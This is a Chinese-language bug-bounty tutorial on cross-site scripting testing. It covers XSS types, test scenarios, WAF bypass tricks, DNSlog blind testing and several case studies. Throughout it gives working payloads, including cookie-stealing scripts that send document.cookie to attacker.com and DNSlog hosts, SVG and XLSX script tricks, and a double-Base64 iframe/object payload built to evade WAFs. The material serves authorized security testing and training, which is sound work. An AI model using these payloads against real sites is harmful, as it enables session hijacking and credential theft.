【SRC】基础思路篇5:XSS跨站脚本攻击完全指南
文章目录前言一、XSS测试基本流程1. 探测阶段2. 盲打测试3. 危害证明二、XSS漏洞类型1. 反射型XSS2. DOM型XSS3. 存储型XSS4. mXSSMutation XSS5. UBB标签XSS6. XLSX文件XSS三、常见XSS测试场景1. 用户输入场景2. 文件上传场景3. Swagger接口文档4. 在线客服系统5. JSONP接口6. Nginx漏洞四、XSS绕过WAF实战技巧1. 探测WAF规则2. 枚举可用事件属性3. 字符编码绕过4. 构造完整Payload5. 其他绕过方法五、DNSlog使用技巧1. 平台推荐2. 常用Payload示例六、XSS接收平台七、实战案例总结案例1XSS绕过WAF案例2存储型XSS漏洞案例3DOM型XSS漏洞案例4HTML文件上传XSS案例5双层Base64编码绕过WAF结语⚠️本博文所涉安全渗透测试技术、方法及案例仅用于网络安全技术研究与合规性交流旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前必须获得目标网络 / 系统所有者的明确且书面授权严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。前言在国内的SRC平台中XSS漏洞往往不被重视通常被评为低危漏洞。然而在国外的安全社区和漏洞奖励计划中XSS被视为重要的安全问题尤其是存储型XSS常常被评为中高危。尽管国内评级较低但掌握XSS测试技巧依然非常重要——它不仅能帮助你发现更多漏洞还能提升你在国际安全社区的竞争力。本文将带你全面了解XSS的测试思路、漏洞类型和实战技巧让你快速掌握XSS安全测试的核心方法。一、XSS测试基本流程1. 探测阶段测试方法尝试对可控参数进行探测观察页面是否有回显。常用测试Payloadh1111/h1scriptalert(1)/script213检查要点查看页面源码确认输入内容是否显示检查单引号、双引号、尖括号是否被HTML编码观察浏览器是否执行了JavaScript代码2. 盲打测试适用场景任何会被存储到后台管理系统的数据。测试方法使用DNSlog来探测后台的IP在以下位置插入测试PayloadReferer头用户个人信息用户名、地址等表单输入字段常用DNSlog平台https://dig.pm/ 推荐速度快Burp Suite Collaborator推荐功能强大http://ceye.io/ 国内站点可能超时实战示例 - 窃取Cookiedetailsopenontogglenew Image().srchttp:// document.cookie.split(;).join().split().join().split( ).join() .your-dnslog.com/detailsh1你好/h13. 危害证明测试方法调用同站点其他敏感接口证明漏洞危害。常见攻击场景窃取Cookie劫持用户会话执行恶意操作钓鱼攻击二、XSS漏洞类型1. 反射型XSS特点一次性攻击Payload通过URL参数传递服务器反射回页面。测试场景有URL跳转的位置搜索框、查询参数JavaScript伪协议链接测试示例ahrefjavascript:alert(1)点击/a实战案例某金融系统搜索功能存在反射型XSS用户搜索恶意代码后立即触发。2. DOM型XSS特点攻击完全在客户端执行服务器无感知。关键特性客户端执行整个攻击过程仅在浏览器端完成无服务器日志Payload在URL#锚点中不发送到服务器WAF不可见服务器端无法检测到攻击Payload常见漏洞场景Swagger-ui版本 [3.14.1,3.38.0) 存在漏洞xxx/swagger-ui.html?configUrlhttps://malicious.com/test.json xxx/swagger-ui.html?urlhttps://malicious.com/test.jsonjQuery版本 [1.2,3.5.0) 存在多个XSS漏洞CVE-2020-11022、CVE-2020-11023绕过技巧利用URL锚点特性http://example.com/page.html#a hrefjavascript:alert(1)点我/a3. 存储型XSS特点攻击代码被持久化存储到数据库危害最大。测试场景用户昵称、签名帖子内容评论功能重要提示CSRF防御挡不住存储型XSS因为XSS的JavaScript是同源触发的可以获取到所有请求参数。实战案例某企业SRC社区发布帖子功能存在存储型XSS通过修改链接地址为javascript伪协议实现1click XSS。4. mXSSMutation XSS特点在DOM操作过程中浏览器渲染造成的畸变引起的。典型场景将数据赋值到a.innerHTML后再取出重新赋值到b.innerHTML的过程中产生畸变。5. UBB标签XSS特点论坛常用的标签系统如果存在XSS漏洞可以这样利用[img]javascript:alert();[/img]转成HTML代码的时候造成跨站。6. XLSX文件XSS特点通过伪造Excel文件实现XSS攻击。攻击方法consthtmlPayload!DOCTYPE html html scriptalert(document.cookie)/script /html;constbadXlsxnewFile([htmlPayload],xss.xlsx,{type:application/vnd.openxmlformats-officedocument.spreadsheetml.sheet});constadocument.createElement(a);a.hrefURL.createObjectURL(badXlsx);a.downloadxss.xlsx;a.click();三、常见XSS测试场景1. 用户输入场景测试位置昵称、用户名用户签名、简介各种地址信息联系方式延迟触发场景 - 个人资料页XSS利用方式在个人昵称、签名或头像描述中插入恶意脚本设置完成后本页面不触发当其他用户访问你的个人资料页、查看你的头像信息或在列表中看到你的昵称时触发XSS。特点延迟触发设置者自己看不到效果访问者才能触发隐蔽性强攻击者可以长时间潜伏等待目标访问传播范围广个人资料页通常被多人访问实战示例!-- 在昵称字段输入 --imgsrcxonerroralert(document.cookie)!-- 在签名字段输入 --scriptnewImage().srchttp://attacker.com/cookie?cdocument.cookie/script!-- 在头像描述中输入 --imgsrcjavascript:alert(xss)攻击流程攻击者注册账号在昵称/签名中插入恶意脚本攻击者等待让目标用户访问其个人资料页目标用户访问时恶意脚本被执行窃取Cookie或执行其他操作2. 文件上传场景测试方法PDF在线预览上传包含恶意JavaScript的PDF文件HTML文件上传直接上传HTML文件SVG文件上传svgxmlnshttp://www.w3.org/2000/svgversion1.1circlecx100cy50r40strokeblackstroke-width2fillred/scriptalert(1)/script/svg修改filename扩展名尝试绕过文件类型检查实战案例某视频网站身份证上传功能存在XSS漏洞可上传HTML文件并被解析执行。3. Swagger接口文档漏洞类型DOM型历史漏洞攻击方式swagger-ui.html?configUrlhttps://xss.smarpo.com/test.json4. 在线客服系统测试方法关注页面上所有输入框检查内容是否会在页面显示出来。5. JSONP接口测试方法在callback参数后插入恶意代码。6. Nginx漏洞漏洞原理URL中使用%0a%0d回车换行绕过。测试方法发送请求%0a%0did1查看响应头是否包含id1如果包含则多次使用使id1进入响应体然后构造XSS四、XSS绕过WAF实战技巧1. 探测WAF规则测试步骤scriptalert(1)/script// 被拦截(403)body1/body// 正常显示(200)body onerror11/body// 被拦截(403)2. 枚举可用事件属性方法在浏览器console中执行以下代码letresults[];for(letiindocument){if(i.startsWith(on)){results.push(i);}}console.log(results);常用绕过属性onscrollend、onpointerenter、ondraggesturechange等3. 字符编码绕过技巧使用ASCII码比较避免直接使用被拦截的字符串。示例for(variinself){if(i.charCodeAt(0)97){if(i.charCodeAt(1)108){self[i]();}}}4. 构造完整Payload实战示例divstyleheight:200;overflow:auto;onscrollendfor (var i in self) { if (i.charCodeAt(0)97 ) {if(i.charCodeAt(1)108){ self[i]() }} }p5. 其他绕过方法类型方法示例事件属性使用冷门事件onscrollend、onpointerenter字符编码ASCII码比较charCodeAt(0)97标签混淆使用非标准标签svganimateCSS表达式IE专属漏洞expression(alert(1))编码绕过URL编码/HTML实体%3Cscript%3EXSS绕过的重点是弄清网站到底过滤了哪些规则以及过滤后的展示。五、DNSlog使用技巧1. 平台推荐平台特点https://dig.pm/速度快灵敏Burp Suite Collaborator功能强大推荐http://ceye.io/国内站点可能超时2. 常用Payload示例窃取Cookiedetailsopenontogglenew Image().srchttp:// document.cookie.split(;).join().split().join().split( ).join() .your-dnslog.com/details六、XSS接收平台推荐平台https://xssjs.com/dashboard七、实战案例总结案例1XSS绕过WAF发现过程探测WAF规则发现script和onerror被拦截枚举浏览器事件属性发现onscrollend可用使用ASCII码比较绕过字符串匹配构造触发条件确保事件能被触发案例2存储型XSS漏洞发现过程测试帖子发布功能的链接添加功能抓包修改链接为javascript:alert(1)删除rel属性发布帖子其他用户点击链接即可触发XSS案例3DOM型XSS漏洞发现过程分析JS代码发现直接从URL获取输入并插入页面浏览器XSS防护拦截了URL参数中的恶意代码利用URL锚点特性绕过检测案例4HTML文件上传XSS发现过程测试身份证上传功能尝试上传HTML文件发现后缀未过滤获取上传文件URL访问触发XSS案例5双层Base64编码绕过WAF绕过思路利用iframe套objectobject内部再套Base64脚本双层编码混淆破坏WAF正则匹配。Payload构造过程层级1将原始脚本Base64编码塞入object标签object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgneXVlcWl1Jyk8L3NjcmlwdD4/object层级2将整个object代码再次Base64编码塞入iframeiframesrcdata:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg/iframe浏览器执行流程渲染iframe解码第一层Base64还原object标签渲染object解码第二层Base64还原原始脚本JS引擎执行alert弹窗关键技巧两次Base64编码双标签嵌套WAF只能看到base64字符串无法匹配script、alert等关键词。结语XSS漏洞是Web安全中最常见的漏洞类型之一掌握XSS测试技巧对于SRC漏洞挖掘至关重要。记住耐心测试、善于发现、勤于总结这是成为优秀安全测试工程师的必经之路。如果这篇文章对你有帮助请点赞支持一下有任何问题欢迎在评论区交流讨论。